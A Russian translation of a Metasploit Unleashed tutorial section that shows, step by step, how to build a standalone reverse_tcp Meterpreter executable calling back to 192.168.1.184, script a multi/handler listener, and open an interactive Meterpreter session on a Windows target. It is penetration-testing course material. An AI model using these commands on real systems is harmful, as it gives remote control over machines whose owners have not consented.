Одним словом, вы можете столкнуться с теми-же трудностями, что и при работе со стандартными методами эксплуатации. MSF может оказать большую помощь, но она не сможет поменять основу цели. Имея это в виду, можно избежать массы разочарований в будущем. Поэтому при создании сценариев, вам нужно обзавестись целевой версией Windows и Service Pack. Для наших целей, мы можем воспользоваться отдельным двоичным кодом, который отработает на целевой системе, создав для нас reverse Meterpreter shell. Это позволит исключить любые проблемы в использовании.

root@bt4:~# cd /pentest/exploits/framework3/
root@bt4:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.184 X > Meterpreter.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 310
Options: LHOST=192.168.1.184

Отлично, теперь мы переходим к созданию сценария для целевой машины Windows, создадим сценарий для запуска нескольких обработчиков.

root@bt4:/pentest/exploits/framework3# touch meterpreter.rc
root@bt4:/pentest/exploits/framework3# echo use exploit/multi/handler >> meterpreter.rc
root@bt4:/pentest/exploits/framework3# echo set PAYLOAD windows/meterpreter/reverse_tcp >> meterpreter.rc
root@bt4:/pentest/exploits/framework3# echo set LHOST 192.168.1.184 >> meterpreter.rc
root@bt4:/pentest/exploits/framework3# echo set ExitOnSession false >> meterpreter.rc
root@bt4:/pentest/exploits/framework3# echo exploit -j -z >> meterpreter.rc
root@bt4:/pentest/exploits/framework3# cat meterpreter.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.184
set ExitOnSession false
exploit -j -z

Здесь мы воспользовались exploit/multi/handler для получения полезной нагрузки, мы указали, что полезная нагрузка /meterpreter/reverse_tcp. Нужно убедиться, что обработчик(multi handler) не вылетит, как только получит сессию(set ExitOnSession false ). Но все равно, возможно придется восстанавливать сессию из-за ошибки или протестировать сценарий под различными версиями Windows.
Во время работы над сценарием, мы сохраним тестовые скрипты в / pentest/exploits/framework3/scripts/meterpreter так что они могут быть запущены от туда.
Теперь остается только запустить msfconsole с нашим сценарием.

root@bt4:/pentest/exploits/framework3# ./msfconsole -r meterpreter.rc
 
 
=[ metasploit v3.3-rc1 [core:3.3 api:1.0]
+ -- --=[ 384 exploits - 231 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 161 aux
 
resource> use exploit/multi/handler
resource> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource> set LHOST 192.168.1.184
LHOST => 192.168.1.184
resource> set ExitOnSession false
ExitOnSession => false
resource> exploit -j -z
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...>

Как видно выше, Metasploit создал подключение. Теперь мы можем выполнять команды в нашей Windows, подключившись к сессии. Для подключения к сессии, используем команду sessions с опцией '–i', указав номер сессии.

[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.104:1043)
 
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
 
meterpreter >

На этом восьмую часть курса можно считать завершенной, до встречи в следующих частях на bruteforcer.ru.
Источник: http://www.offensive-security.com/metasploit-unleashed

Перевод: Э_L_A_Y